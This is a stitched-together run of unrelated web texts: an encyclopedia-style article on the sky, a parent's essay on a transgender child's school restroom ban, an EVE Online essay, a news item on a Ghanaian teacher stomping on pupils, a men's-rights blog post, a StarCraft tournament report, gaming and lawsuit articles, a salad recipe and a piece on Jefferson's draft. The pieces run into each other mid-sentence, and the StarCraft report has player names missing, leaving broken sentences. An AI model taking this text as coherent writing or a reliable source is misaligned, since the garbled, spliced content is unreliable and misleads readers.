In the field of astronomy, the sky is also called the celestial sphere. This is viewed from Earth's surface as an abstract dome on which the Sun, stars, planets, and Moon appear to be traveling. The celestial sphere is conventionally divided into designated areas called constellations. Usually, the term sky is used informally as the point of view from the Earth's surface; however, the meaning and usage can vary. In some cases, such as in discussing the weather, the sky refers to only the lower, more dense portions of the atmosphere.
During daylight, the sky appears to be blue because air scatters more blue sunlight than red.[1][2][3][4] At night, the sky appears to be a mostly dark surface or region spangled with stars. During the day, the Sun can be seen in the sky unless obscured by clouds. In the night sky (and to some extent during the day) the Moon, planets and stars are visible in the sky. Some of the natural phenomena seen in the sky are clouds, rainbows, and aurorae. Lightning and precipitation can also be seen in the sky during storms. Birds, insects, aircraft, and kites are often considered to fly in the sky. Due to human activities, smog during the day and light pollution during the night are often seen above large cities.
During the day
A greater proportion of blue light scattered by the atmosphere relative to red light.
[5] Civil, nautical, and astronomical twilight. Dusk is the end of evening twilight
Dawn is the beginning of morning twilight.
Except for light that comes directly from the sun, most of the light in the day sky is caused by scattering, which is dominated by a small-particle limit called Rayleigh Scattering. The scattering due to molecule sized particles (as in air) is greater in the forward and backward directions than it is in the lateral direction.[clarification needed][6] Scattering is significant for light at all visible wavelengths but is stronger at the shorter (bluer) end of the visible spectrum, meaning that the scattered light is bluer than its source, the sun. The remaining sunlight,[clarification needed] having lost some of its short wavelength components, appears slightly less blue.[4]
Scattering also occurs even more strongly in clouds. Individual water droplets exposed to white light will create a set of colored rings. If a cloud is thick enough, scattering from multiple water droplets will wash out the set of colored rings and create a washed-out white color.[clarification needed][7]
The sky can turn a multitude of colors such as red, orange, purple and yellow (especially near sunset or sunrise) when the light must pass through a much longer path (or optical depth) through the atmosphere. Scattering effects also partially polarize light from the sky and are most pronounced at an angle 90° from the sun. Scattered light from the horizon travels through as much as 38 times the atmosphere as does light from the zenith, causing a blue gradient: vivid at the zenith, and pale near the horizon.[8] Because red light also scatters if there is enough air between the source and the observer causing parts of the sky to change color during a sunset. As the amount of atmosphere nears infinity, the scattered light appears whiter and whiter.[9]
The sun is not the only object that may appear less blue in the atmosphere. Far away clouds or snowy mountaintops may appear yellowish. The effect is not very obvious on clear days but is very pronounced when clouds cover the line of sight, reducing the blue hue from scattered sunlight.[9] At higher altitudes, the sky tends toward darker colors since scattering is reduced due to lower air density; an extreme example is the moon, where there is no atmosphere and no scattering, making the sky on the moon black even when the sun is visible.[10]
Sky luminance distribution models have been recommended by the International Commission on Illumination (CIE) for the design of daylighting schemes. Recent developments relate to “all sky models” for modelling sky luminance under weather conditions ranging from clear to overcast.[11]
Dusk and dawn
The crescent moon remains visible just moments before sunrise
The intensity of the sky varies greatly over the day, and the primary cause of that intensity differs as well. When the sun is well above the horizon, direct scattering of sunlight (Rayleigh scattering) is the overwhelmingly dominant source of light. However, in twilight, the period of time between sunset and night and between night and sunrise, the situation is more complicated. Green flashes and green rays are optical phenomena that occur shortly after sunset or before sunrise, when a green spot is visible above the sun, usually for no more than a second or two, or it may resemble a green ray shooting up from the sunset point. Green flashes are a group of phenomena that stem from different causes,[12] most of which occur when there is a temperature inversion (when the temperature increases with altitude rather than the normal decrease in temperature with altitude). Green flashes may be observed from any altitude (even from an aircraft). They are usually seen at an unobstructed horizon, such as over the ocean, but are also seen over cloud tops and mountain tops. Green flashes may also be observed at the horizon in association with the Moon and bright planets, including Venus and Jupiter.[13][14]
The Earth's shadow is the shadow that the Earth casts on its atmosphere. This atmospheric phenomenon is sometimes seen twice a day, around the times of sunset and sunrise. When the weather conditions and the observer's viewing point permit a clear sight of the horizon, the shadow can be seen as a dark blue or greyish-blue band. Assuming the sky is clear, the Earth's shadow is visible in the half of the sky opposite to the sunset or sunrise, and is seen as a dark blue band right above the horizon. A related phenomenon is the "Belt of Venus" or "anti-twilight arch", a pink band that is visible above the dark blue band of the Earth's shadow in the same part of the sky. There is no clear dividing line between the Earth's shadow and the Belt of Venus: one colored band shades into the other in the sky.[15][16]
Twilight is divided into three segments according to how far the sun is below the horizon, measured in segments of 6°. After sunset the civil twilight sets in; it ends when the sun drops more than 6° below the horizon. This is followed by the nautical twilight, when the sun is 6° and 12° below the horizon (heights of between −6° and −12°), after which comes the astronomical twilight, defined as the period from −12° to −18°. When the sun drops more than 18° below the horizon, the sky generally attains its minimum brightness.[17]
Several sources can be identified as the source of the intrinsic brightness of the sky, namely airglow, indirect scattering of sunlight, scattering of starlight, and artificial light pollution.
During the night
Aurora borealis over Bear Lake, Alaska
The Milky Way can be seen as a large band across the night sky, and is distorted into an arch in this 360° panorama
The term night sky refers to the sky as seen at night. The term is usually associated with skygazing and astronomy, with reference to views of celestial bodies such as stars, the Moon, and planets that become visible on a clear night after the Sun has set. Natural light sources in a night sky include moonlight, starlight, and airglow, depending on location and timing. The fact that the sky is not completely dark at night can be easily observed. Were the sky (in the absence of moon and city lights) absolutely dark, one would not be able to see the silhouette of an object against the sky.
The night sky and studies of it have a historical place in both ancient and modern cultures. In the past, for instance, farmers have used the state of the night sky as a calendar to determine when to plant crops. The ancient belief in astrology is generally based on the belief that relationships between heavenly bodies influence or convey information about events on Earth. The scientific study of the night sky and bodies observed within it, meanwhile, takes place in the science of astronomy.
Within visible-light astronomy, the visibility of celestial objects in the night sky is affected by light pollution. The presence of the Moon in the night sky has historically hindered astronomical observation by increasing the amount of ambient lighting. With the advent of artificial light sources, however, light pollution has been a growing problem for viewing the night sky. Special filters and modifications to light fixtures can help to alleviate this problem, but for the best views, both professional and amateur optical astronomers seek viewing sites located far from major urban areas.
Use in weather forecasting
White cumulus clouds appeared over Dhaka, Bangladesh, when significant flooding was underway in many parts of the country.
Along with pressure tendency, the condition of the sky is one of the more important parameters used to forecast weather in mountainous areas. Thickening of cloud cover or the invasion of a higher cloud deck is indicative of rain in the near future. At night, high thin cirrostratus clouds can lead to halos around the moon, which indicate the approach of a warm front and its associated rain.[18] Morning fog portends fair conditions and can be associated with a marine layer, an indication of a stable atmosphere.[19] Rainy conditions are preceded by wind or clouds which prevent fog formation. The approach of a line of thunderstorms could indicate the approach of a cold front. Cloud-free skies are indicative of fair weather for the near future.[20] The use of sky cover in weather prediction has led to various weather lore over the centuries.[21]
Tropical cyclones
Picture of the sky in the eye of a tropical cyclone
Within 36 hours of the passage of a tropical cyclone's center, the pressure begins to fall and a veil of white cirrus clouds approaches from the cyclone's direction. Within 24 hours of the closest approach to the center, low clouds begin to move in, also known as the bar of a tropical cyclone, as the barometric pressure begins to fall more rapidly and the winds begin to increase. Within 18 hours of the center's approach, squally weather is common, with sudden increases in wind accompanied by rain showers or thunderstorms. Within six hours of the center's arrival, rain becomes continuous. Within an hour of the center, the rain becomes very heavy and the highest winds within the tropical cyclone are experienced. When the center arrives with a strong tropical cyclone, weather conditions improve and the sun becomes visible as the eye moves overhead. Once the system departs, winds reverse and, along with the rain, suddenly increase. One day after the center's passage, the low overcast is replaced with a higher overcast, and the rain becomes intermittent. By 36 hours after the center's passage, the high overcast breaks and the pressure begins to level off.[22]
Use in transportation
Flight is the process by which an object moves through or beyond the sky (as in the case of spaceflight), whether by generating aerodynamic lift, propulsive thrust, aerostatically using buoyancy, or by ballistic movement, without any direct mechanical support from the ground. The engineering aspects of flight are studied in aerospace engineering which is subdivided into aeronautics, which is the study of vehicles that travel through the air, and astronautics, the study of vehicles that travel through space, and in ballistics, the study of the flight of projectiles. While human beings have been capable of flight via hot air balloons since 1783,[23] other species have used flight for significantly longer. Animals, such as birds, bats, and insects are capable of flight. Spores and seeds from plants use flight, via use of the wind, as a method of propagating their species.[24]
Significance in mythology
Many mythologies have deities especially associated with the sky. In Egyptian religion, the sky was deified as the goddess Nut and as the god Horus. Dyeus is reconstructed as the god of the sky, or the sky personified, in Proto-Indo-European religion, whence Zeus, the god of the sky and thunder in Greek mythology and the Roman god of sky and thunder Jupiter.
In Australian Aboriginal mythology, Altjira (or Arrernte) is the main sky god and also the creator god. In Iroquois mythology, Atahensic was a sky goddess who fell down to the ground during the creation of the Earth. Many cultures have drawn constellations between stars in the sky, using them in association with legends and mythology about their deities.
Gallery
See alsoMy daughter is a typical six-year-old girl. She’s smart and creative. She loves to read, write, and draw. She likes to play outside and dig in the mud. She likes to run. She likes to make blanket forts with her little brother and build with legos for hours on end. She loves kittens and horses. Her favorite colors are purple, pink, rainbow, and anything with sparkles. She’s a silly, outgoing, caring, and well-adjusted young girl.
In some ways, though, she’s not so typical. She is disrespected, mistreated, and targeted with a kind of hate that no child should even know exists in the world. Despite this mistreatment, she knows herself, she loves herself, and she refuses to let other people dictate who she can or should be. She’s the most courageous person I have ever known. She also has a simple request, for something she should not have to ask for: She would like to use the girls’ restroom at school.
Unlike every other child at her school, my daughter is prohibited from entering the student restrooms. Instead, she is required to use a separate, single-stall staff restroom. The school administration forcibly segregates her from her peers because she was assigned male at birth. My daughter’s sex assigned at birth is only one very small part of who she is, but to her principal, this is the only part of her that matters.
School administrators use her sex assigned at birth to justify a laundry list of abuses and indignities. They’ve declined to enforce their own anti-harassment policies. They’ve downplayed and dismissed her being assaulted by another student. They’ve violated her privacy by outing her throughout the school system without consent. They’ve refused to amend the sex marker in her student records, despite the fact that she is legally female, with the government-issued identification documents to prove it. And they’ve barred her from accessing public restroom facilities every day for the last seven months.
My daughter knows that her school does not accept her for who she is, and in her innocence, she doesn’t understand why. For months, she was scared to use the restroom at school out of fear of being hurt by another student or punished by a teacher. She was convinced there were cameras in and near the restroom so that the principal could spy on her. I had to go to the school to personally check the restroom for cameras multiple times in order to put her mind at ease. No child should have anxiety about something as simple as using the restroom, yet the school administration is ensuring just that.
The school has no working understanding of what it means to be transgender, nor have they shown any interest in learning. I will continue trying to help them listen and work with me to ensure my daughter is safe and protected. And my daughter isn’t unique in this struggle; there are other transgender students in our school district, in our state, and in our country who are being subjected to similar mistreatment, and worse.
Recently, the Supreme Court sent the case of trans student Gavin Grimm to a lower court, putting trans students’ protections in limbo, and my daughter wrote this letter to share with the judges. I fear that the only way my daughter’s school and so many other schools across the country will ever respect the rights of transgender students is if the courts make the right decision and require schools to respect transgender youth.
As the Fourth Circuit Court of Appeals hears Gavin’s case, I urge you to take action to #ProtectTransYouth like Gavin and my daughter. I urge you to demand that your state’s governor issue a statement in support of trans youth and direct your state’s Department of Education to issue and enforce policies that support trans students. Please stand with my daughter. Please stand with trans youth. Please #StandWithGavin.
The mother and daughter live in Tennessee.
If you witness or experience discrimination at school, #ClaimYourRights with the Office for Civil Rights.
Change your Facebook profile photo frame in support of trans youth.“Attitude is not about how good you are, it’s about how good you’re going to be.” – Wild Things [MIEF]
Playing to Win
Ask yourself, are you satisfied with your piloting in EVE Online? Think back to your most recent fight; did you play your best and did you win? If not, what mistakes were made? Did you lose a ship because of your or another’s decision? Were you able to discuss mistakes with frankness and sincerity? Did your or your teammates’ tempers flare in the face of criticism? The very first step to reaching the highest levels of play in a game, whether it is a conventional sport or a video game, is to look at it with a competitive mindset. Going far beyond the notion of good sportsmanship, a competitive mindset is the deep seated drive to be the best and to play the game at its fullest. A mindset can be more than personal, it can be the a soul of a group. Those who value playing competitively together will progress farther than any one can alone. Through teamwork and common goals, competitive groups elevate their members. In the face of recent outcries of “EVE is dying” this article is for those who are looking towards the future. For those who wish to take on EVE Online as it is today and to drive themselves up to the level of play they know they can achieve. Along the way, I plan to convince you of the value of playing with a competitive mindset and express what it means to do so.EVE is a large game with diverse methods for winning. Killmails, killboard statistics, holding the grid, sov in nullsec, and plexes/pushing systems in Factional Warfare can all be goals. It is up to you and your group to decide what is important. If you are not playing to win, then you are not playing competitively, and you are placing yourself at a disadvantage from the very beginning. As a player with a competitive mindset, you must accept the game as it is and conquer opposition using the available tools. This means that you must avoid falling into the “scrub mentality” trap of abstaining from parts of the game that some may consider “cancer.” Besides being a disgusting term for the common phrase “overpowered“, those who avoid fighting and using the strongest ships in the game prevent themselves from ever reaching the highest levels of gameplay. You may be familiar with some players who label certain methods of play as cheap, requiring no skill, or “unfun” and abstain from their use. They are choosing to play their own subset of the game, with their own made up rules, instead of pushing EVE’s true boundaries. These players are not playing to win. While you may not directly control what tools exist in the game, you have full control over how you play. You can learn to dominate with them yourself, develop a hard counter against them, or choose to remain locked into a losing mentality, unwilling to play to win with the tools available. This is the key idea when playing within and pushing the metagame for each patch. The meta is constantly evolving while players discover the best way to defeat their opponents. Competitive players do not use high tier ships to win the easy fights, they do so to be on equal footing for the truly difficult and satisfying fights against other strong players. What is considered high tier for solo play may not be strong for a small scale gang. Likewise, the best ships in a small gang don’t necessarily scale up to n + 1 large scale gameplay. Refer to top players to find what works, use this knowledge to try new things, and above all else: push yourself. Using off-meta ships and fits does have its place. Once you’ve progressed far enough, subverting expectations can open up new realms of play. If you’re still working on the foundations of your piloting, I suggest flying high tier ships and fits. This allows you to approach as many fights as possible with confidence, rather than spending your entire play session practicing how to “choose your engagements.” To learn more about what’s strong in the current small-scale metagame, I recommend the analysis Gorski Car provides in the Small Gang Tier Lists here on Crossing Zebras. Small Gang Tier List – Frigates Small Gang Tier List – Cruisers If you find yourself in disagreement with or put off by the idea of playing to win, I recommend you read more on the topic from game designer Sirlin. Although it’s a contentious term, the “scrub mentality” is a well defined topic in competitive gaming. It is the antithesis of a competitive mindset and will hold you back unless you acknowledge the forms it can take.
Chessur, Confessor small gang (With commentary)
Learning to Lose
Losing Together
Continuous Self Improvement
One thing is certain in EVE: you will make mistakes and you will lose ships. While we may play to win, we often learn more from losses. A competitive player must learn to lose with dignity. Failure is a critical moment for all, and how mistakes are handled defines how much progress can be made. We tend to learn far more from failure than from success, and often the most difficult to stomach losses can teach us the most. With the right attitude, every mistake can be a lesson. Those who get angry and find some other person or thing to blame doom themselves to repeat the same mistakes in the future. For every loss in every gang or fleet, somewhere along the way, you made a decision which contributed to the loss. Whether subtle or overt, with enough thought you can trace back decisions and find a moment where you could have done more. You must identify the root cause of your mistake, own it directly, and strive to never repeat it. Then you must move forward, knowing the exact cost of your new lesson.Although toxicity is the last topic I will cover, it is by far the most important for any competitive group. If you are unable to play without bringing your group down, then the rest of your contributions are worth nothing. By toxic behavior I’m specifically referring to the kinds of attitudes and actions that harm how a group functions. The line between playful banter and toxicity can be muddy, so it is the responsibility of each group to define what is acceptable. I find that taking a calm and professional outlook on the game and your interactions with others is the healthiest perspective. Competitive groups that do not directly address and stamp out harmful toxicity risk nullifying all that they work for over the long run. While skilled players can accomplish much, those that cannot work smoothly together will eventually fray and disband. After major mistakes, it is healthy to recap when the time is right. Once the adrenaline of a tough matchup has worn off, then a group can move into a healthy discussion. It is important to not dwell on and socially punish failure. Instead, a group must accept the costs and move on. When asking questions, sincerity is the most important thing. It’s dangerously easy to turn simple questions into biting remarks if asked in poor taste. Favor a personal approach, finding how you could have helped, rather than attempting to call out mistakes. Competitive players give one another the dignity and trust to own their mistakes. For all members of a competitive group, you must respect your teammates to be responsible for their own gameplay. So when a mistake is made by someone else in your fleet, focus on moving forward. If a group fears the consequences of failure, they hamstring themselves before they even undock. While individual skill can carry your group through many fights, it’s through teamwork that the |
of the course.
If you need an evaluation, the exam will consist in a sw project or in a seminar.
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Shocking footage has emerged of a teacher stomping on the backs of her young pupils because they 'hadn't done their homework'.
Two pupils lie motionless on the floor while the woman jumps on their backs as a form of punishment for not completing their work, according to a Ghana news website, Pulse.com.
The woman was a teacher at the Multi Educational Complex at Wassa Akropong in the Western region of Ghana and has been identified as Christiana Owusu.
Reports from the country suggest that the pupils have been subject to this method of discipline for some time, but authorities in the region have refused to act.
Late last year a Ugandan nanny was filmed as she attacked a small toddler because she spat her food out on the floor.
The 22-year-old woman stamped on the toddler as well as kicking her and dragging her around the room.Chapter 6: Conflict and Combat. If you want to know how combat works, this is the chapter for you.
Chapter 7: Starships and Vehicles. What's Star Wars without vehicles? This is very much like the Gear chapter, except with stats for loads of space and aircraft.
Chapter 8: The Force. Although you can't exactly be a Jedi, this chapter allows you to become a "Force-sensitive Exile," which is an untrained force-user (much like Luke early in Empire Strikes Back). It adds a few more talent trees and lots of helpful information.
Chapter 9: The Game Master. Perhaps one of the most helpful resources for veteran or beginner GMs I've ever seen in a game. I recommend that anyone, even those who don't intend to play this game, read this chapter.
Chapter 10: The Galaxy. This is the longest chapter in the book, easily twice the size of the next largest. Here's where all of the Star Wars expanded universe stuff comes in. It's really quite amazing. Personally I've always perceived the EU kind of like fan fiction. The way it's presented here makes it seem completely official. After reading this chapter, I felt much more comfortable running games in this vast universe (and I now have a healthy respect of the EU).
Chapter 11: Law and Society. If the Galaxy chapter was about planets, this is much more granular. It covers what the Empire is doing at this time in the SW lore, what gangs are in power and what kind of factions the players can expect to run into during a game. Just compiling this information must've taken forever, but the book is much better because of it.
Chapter 12: Adversaries. In other RPG books this would be called the Bestiary. In Star Wars, most of the enemies aren't beasts. It details stats on just about everything your players will ever need to kill. There are also rules on how to "upgrade" an enemy to keep pace with the players. Very useful stuff.
Chapter 13: Trouble Brewing. An included adventure. I don't like running premade adventures very much, but there are many ideas here that can be used for homemade stories.Quite a discussion has been taking place on the Men’s Rights subreddit concerning this. As most of us are aware, tomorrow the Canadian Association for Equality (CAFE) is presenting men’s advocate Karen Straughan at Ryerson University.
You can watch a live stream of it here.
Apparently since the bullying tactics Feminists have employed at recent CAFE events have thus far been unsuccessful, some of them have decided to go on a tear-down rampage of posters promoting the upcoming event at Ryerson.
By “bullying tactics,” I am referring to blocking entrances to events, pulling fire alarms while events were in progress, shouting hateful abuses at attendees while wearing masks, as well as fining CAFE high-dollar “security fees” simply for speaking.
Here you can see CAFE’s promotional poster posted to Facebook. The names and some of the images are blacked out due to Reddit’s posting policy:
Here is an expanded version of the coversation:
Interestingly, the title of the event itself is “Feminism, Free Speech, and Censorship of Men’s Issues.” Notice how these people are laughing at the very possibility that men’s issues could be censored while themselves promoting the suppression of speech and alternative points of view.
This tactic isn’t anything new, of course. Feminists tore down posters at the CAFE event featuring Dr. Warren Farrell. Earlier this week I reported on how the president of the National Union of Students in New South Wales, Australia, encouraged students to tear down posters which asked if it was more morally acceptable to live in fear of men than any other group.
This same exact thing happened at Arizona State University, where Feminist students tore down the same exact posters. And Feminists caught on video also tore down those same posters when John Hembling of A Voice for Men was posting them on private property after he obtained permission to do so. Here’s the video Karen Straughan made of it here:
And now we see those same tactics being employed against CAFE and Karen Straughan.
If Feminists believe their ideas are so superior, why don’t they attend the event, listen to what Karen Straughan has to say, take part in the Q and A, and – if they are dissatisfied with that outcome – write a point-by-point article refuting her claims on their thousands of blogs or the thousands of mainstream media mouthpieces sensitive to Feminist politics?
If what men’s advocates are saying is so bad, why is it so hard for Feminists to compete by opposing bad speech with better speech of their own?
You see folks, in a free world where ideas are publicly vetted rather than being rammed down people’s throats by coercion, intimidation, and false accusations (tactics which Feminists – despite their hollow claims of “tolerance” – are famous for), Feminists simply cannot compete.
John Hembling said the same at A Voice for Men a long time ago:
Whenever I or any other MRA fields an argument in defence of mens rights, or critical of feminism, it is never met with a counter argument. The arguments of MRAs are met with accusations, shaming language, insults, threats, blackmail, violence, censure, censorship, cooked up criminal charges, vandalism, imprisonment and other calumny.
My article critical of the institution of marriage was answered by feminists accusing me of being gay, of being bitter, of having a small penis, or social ineptitude, of financial impotence, of living in my mother’s basement, of body odour, and of tendencies to hatred, violence, and pedophilia.
Of those critical of my article, none actually addressed the substance of the argument made. None.
My article deconstructing the feminist goal of reversing the burden of proof in accusation of sexual assault was met by feminists who called me a rapist, a bigot, a woman beater, a loser, a violent criminal, and a sociopath. Not even one criticism addressed the substance of my article.
And if you doubt anything John is saying, simply look at the comments in the image captured from Facebook earlier in this article, or look through this site’s articles on free speech.
Sometimes people ask me, “what makes men’s human rights so different from Feminism?”
Then answer, folks: it isn’ t an “ism.”
It isn’t a dogmatic, monocausal belief system unto itself, which Feminism is. “Monocausal” of course means “one cause,” and in the Feminist worldview the one cause of everything bad in the world is men, men, men – which is why they call it “patriarchy” in the first place.
There’s a silver lining to all this, however. These Feminists are putting their narrow-mindedness on display for the whole world to see. They are showing just who puts the move in the Feminist movement.
And by refraining from employing those same tactics ourselves, it puts us in the better light.
Thank you for visiting Title IX For All. If you like our work, feel free to sign up for our newsletter below:
For a more in-depth look at the litigation movement for due process and equal access to education:
Enter Legal DatabaseFamous faces fall flat on day one of GamesCom
A pretty long day of Starcraft has come to an end, but the groups for the main phase of the tournament are now ready to roll.
Group A Group B
SortOf Feast
nerchio Kas
Inori PiG
DeMuslim viOlet
Puma MVP
ForGG NesTea
Group C Group D
Slivko HasuObs
Elfi Vortix
Moonglade Supernova
Minigun KiLLeR
Bomber MC
Grubby ReaL IEM Cologne Group Stage
A somewhat convoluted system of qualification meant that day one of IEM Cologne featured a ton of games. Big names like Bomber, MVP and MC had to go through the wringer and several didn’t make it.Bracket one put paid to both, with the Swede going out in shocking fashion and without a single map win. Korean's run, however, was much deeper as he made it to Losers Bracket Round 4 before falling 1-2 to, who in turn advanced to the group stage along with bracket wrecker. The very same bracket saw what could very well be the game of the day betweenand Bomber on Entombed Valley which can be found in ourBracket two saw the unfortunatefall at the final hurdle to, despite stunning bothin earlier rounds.was the only Korean to make it through that bracket, in fact, with Grubby claiming the losers bracket final to advance to the group stage. The Dutchman eliminated the very same Korean protoss duo before confronting Targa in a dramatic series that ended with a 50-minute game on Daybreak.Two out of three Koreans advanced to the group stage withbeing the unlucky one this time, losing toin the all-important match which after a forty minute long Metropolis set and a plot twist on Ohana easily became the highlight of this open bracket.took the high seed after staying undefeated despite not showing his very best performance today.Finally, the fourth bracket had its own upsets. Whitera went out very quickly, losing first to Lucifron and then to JYP.emerged unscathed into day two after the terran player managed to 2-0 JYP in the last match.If you've missed today's stream action, fret not: we've got you all covered as we've collected everything you might possibly think of!Could there be a more perfect example of Nintendo's philosophy than the NES Mini? To Nintendo, video games exist somewhere inside the relationship between hardware and software, so even if you're offering a bunch of emulated classics, you should make sure the box that they come is fit for purpose. Yes, Nintendo might have released a ROM for Super Mario that it nicked off the internet, but the Virtual Console has never felt like the company at its most thoughtful. The NES Mini, though: that shrunken grey brick, that gloriously boxy controller attached. 30 games, and that's it. No tinkering. No roster updates. This is how Nintendo curates its own history when it's really paying attention to it.
So it's fascinating to see Sega considering some of the same problems that Nintendo's been navigating. How to do your history justice? Or, as I suspect Sega might put it, how to make the most of one of the greatest back catalogues in all of gaming? A few days back, a cassette tape arrived for me at Eurogamer's office. Printing on the side to look like Biro, a highlighter pen swipe across the spine label that reads, SEGA FOREVER Vol 1. Space Harrier - Theme, Outrun - Magical Sound Shower. Aside from the hashtag at the bottom, it's a nice piece of work. I particularly liked the odd crossing-out on the tracklisting. All told, it's as good an authentic imitation sentiment as I've received in the post. But here's the point, of course: I can't play this cassette tape. I don't have a tape deck anymore. I don't even have a CD player these days. "Cassette tapes changed music forever," reads the accompanying note. "We're about to do the same with retro gaming on mobile."
That's a pretty grand ambition, and it's attached to a project that feels fairly grand when viewed in the right light. A few weeks back I went to London to hear about Sega Forever, an initiative that will see Sega releasing a load of its classic games onto mobile platforms - iOS and Android - over the course of a few years. These games will be free, and surprisingly lightly monetised. You can play them forever without paying, or you can spend a one-off fee of £1.99 to ditch the ads, which appear on the start screen, the save screen, and I think at launch, but will not interrupt play in anyway. The games are emulated or, in the case of Dreamcast titles, ported, and they'll have virtual buttons, but you can use a controller if you have one, and while each game is its own download, its own app, there are commonalities uniting them all: leaderboards, cloud saves - local saves if you pay that £1.99, although you can play the game offline for free - and, at some point after launch, multiplayer, initially over wi-fi but eventually over 3G and 4G if Sega's hopes pan out.
Cor!
At the time of writing, the line-up has moved around a little bit, but the first five to be released with be: Altered Beast, Comix Zone, Kid Chameleon, Phantasy Star II, Sonic the Hedgehog. Hmm. What is the deal with Altered Beast? What power does Altered Beast have over the top people at Sega? Did it witness them pulling off a murder together? Anyway, After those five - four, if you don't count Altered Beast! - you'll get new games at the rate of one every two weeks, covering all of Sega's consoles from the SG-1000 through to the Dreamcast. My worry is that this is going to be like one of those magazine series where you get to build a model battleship. The first issue is a gun turret, and then the second issue never appears, so you're stuck holding a dinky plastic gun turret for the rest of your life. But Sega seems pretty serious about this. I don't get the impression Sega Forever's going to fall apart anytime soon, and Sega has three years' worth of titles approved, with the likes of Jet Set Radio and Revenge of Shinobi on the way fairly soon, hopefully. Maybe at some point Sega will do the right thing. You think I'm talking about Shenmue? Hardly. I'm talking about locking Altered Beast back in the vault again.
Will Sega Forever include games that never made it to the west first time? Apparently yes - the SG-1000 never made it, after all. One such title that is on its way is Girl's Garden, the first game from Yuji Naka. Saturn games are in the mix, although the team has acknowledged that it's a tricky machine, so the first releases for Saturn are probably at least a year away. Third-party stuff is also complicated, but Sega's offering revenue sharing if my notes are correct. Given Capcom's impact in this era - and given that the Mega Drive in particular saw such beautiful games from Disney - you'd hope the deals can be made.
Altered Beast has really aged.
The games themselves seem to handle themselves okay, although I am hardly an expert. I played a few over the course of a presentation, on both Android and iPhone, and although Comix Zone was a little framey, the ads didn't seem at all intrusive and the virtual controls were as good as virtual controls generally are. I can definitely see the appeal of using a controller, and Sega's also working on native apps for the likes of Apple TV and Android TV.
It's a nice deal, I think. It's not one for the serious collectors, who will have all these games as they are meant to be played anyway. But dabblers and newcomers get to see what Sega was once about, and Sega, presumably, gets a network set-up and access to this huge new audience. I spoke with a few of the people behind the initiative and heard a lot about user acquisition and a sort of living survey, with the games people download giving Sega a better sense of where to look when making future premium apps based on old IP, such as like Crazy Taxi Gazillionaire.
So yes, Sega's definitely getting something out of all of this. But if I get Bonanza Bros. on my iPhone, I guess I'm okay with that for the time being?The suit contends that her "Girls Night In" show violated California law.
LOS ANGELES (Variety.com) - An attorney who files discrimination suits against bars that offer "ladies' nights" has sued comedian Iliza Shlesinger, contending that her "Girls Night In" show violated California law by barring men.
According to the suit, George St. George bought a $30 ticket to Shlesinger's Nov. 13 show at the Largo at the Coronet in Los Angeles, which was advertised as "No Boys Allowed." St. George and a male friend attempted to enter the show anyway. Initially they were told they could sit in the back row, but later they were denied entry and offered a refund, the suit contends.
Iliza Shlesinger discusses her new book, 'Girl Logic: The Genius And The Absurdity.' (Image: Getty)
St. George has been the plaintiff in several such suits challenging "ladies nights" at bars and other public establishments. His attorney, Alfred Rava, has also made a reputation for filing such suits, once telling CNN that he had filed 150 complaints accusing California businesses of violating the Unruh Civil Rights Act of 1959.
"At no time should an entertainer or an entertainment venue require female patrons or male patrons sit in the back of the theater based solely on their sex," Rava said via email.
The California Supreme Court ruled in Koire v. Metro Car Wash (1985) that "ladies night" discounts violate the Unruh Act, which provides for "full and equal accommodations" to all business establishments regardless of race, sex, religion and disability.
Violations are punishable by a $4,000 fine, plus attorneys' fees. Businesses that are sued under the act typically reach an out-of-court settlement rather than face the expense of litigation.
Rava is a former secretary of the National Coalition for Men, a San Diego-based non-profit whose website highlights false rape accusations, fathers' rights issues, violence against men, and the "myth" that men do not do their fair share of housework. The site has also taken issue with "the current sexual abuse hysteria."
Rava said via email that he is no longer part of the group, and that St. George was never a member.
Shlesinger's representatives did not immediately respond to a request for comment.This Portillo’s Chopped Salad is a knock off from the famous salad recipe at Portillo’s in Chicago. It’s hearty and topped with the tastiest dressing.
This Portillo’s Chopped Salad has bacon, tomato, Gorgonzola cheese and even little bits of pasta throughout!
PORTILLO’S CHOPPED SALAD
I just returned from BlogHer Food in Austin, Texas where I was surrounded by people who love food as much as I do. It was nice to be able to eat in abundance without being judged.
It really was a magical trip. There was always food waiting to be eaten and parties to attend (where there was more food to be eaten).
I met so many wonderful people and made so many new friends. We had late nights of talking and made a lot of memories. Ahhh…..
Usually I’m eager to get home but I struggled getting back to reality after this trip. When I got home the laundry, cooking, and cleaning was waiting for me and I longed for the carefree lifestyle I had experienced for the weekend.
Don’t get me wrong. I am grateful to be a mother. I missed my kids. But physically as I get more and more pregnant, it’s hard to keep up with all that goes into being a mother of four very active kids. My body is exhausted.
I pray that I can make it through the summer.
Needless to say after the weekend of eating I had, a big bowl of foliage was calling my name. I feel like chopped salads are all the rage these days; the new black if you will.
This Portillo’s Chopped Salad is apparently from Portillo’s restaurant. I’ve never actually been there but it looked enticing. Adding pasta to a salad is a great way to add some bulk and make it stretch further.
The salad is tossed with an Italian vinaigrette with a hint of oregano that gives it a unique flavor.
You can totally use a store bought vinaigrette but I really like the flavor of this homemade one. Supposedly the real Portillo’s Chopped Salad has chicken on it, so feel free to add chicken to make it a meal.
Everyone who has this salad asks for the recipe!! It’s so good."Subjects."
That's what Thomas Jefferson first wrote in an early draft of the Declaration of Independence to describe the people of the 13 colonies.
But in a moment when history took a sharp turn, Jefferson sought quite methodically to expunge the word, to wipe it out of existence and write over it. Many words were crossed out and replaced in the draft, but only one was obliterated.
Over the smudge, Jefferson then wrote the word "citizens."
No longer subjects to the crown, the colonists became something different: a people whose allegiance was to one another, not to a faraway monarch.
Scholars of the revolution have long speculated about the "citizens" smear -- wondering whether the erased word was "patriots" or "residents" -- but now the Library of Congress has determined that the change was far more dramatic.
Using a modified version of the kind of spectral imaging technology developed for the military and for monitoring agriculture, research scientists teased apart the mystery and reconstructed the word that Jefferson banished in 1776.
"Seldom can we re-create a moment in history in such a dramatic and living way," Library of Congress preservation director Dianne van der Reyden said at Friday's announcement of the discovery.
"It's almost like we can see him write'subjects' and then quickly decide that's not what he wanted to say at all, that he didn't even want a record of it," she said. "Really, it sends chills down the spine."
The library deciphered the hidden "subjects" several months ago, the first major finding attributed to its new high-tech instruments. By studying the document at different wavelengths of light, including infrared and ultraviolet, researchers detected slightly different chemical signatures in the remnant ink of the erased word than in "citizens." Those differences allowed the team to bring the erased word back to life.
But the task was made more difficult by the way Jefferson sought to match the lines and curves of the underlying smudged letters with the new letters he wrote on top of them. It took research scientist Fenella France weeks to pull out each letter until the full word became apparent.
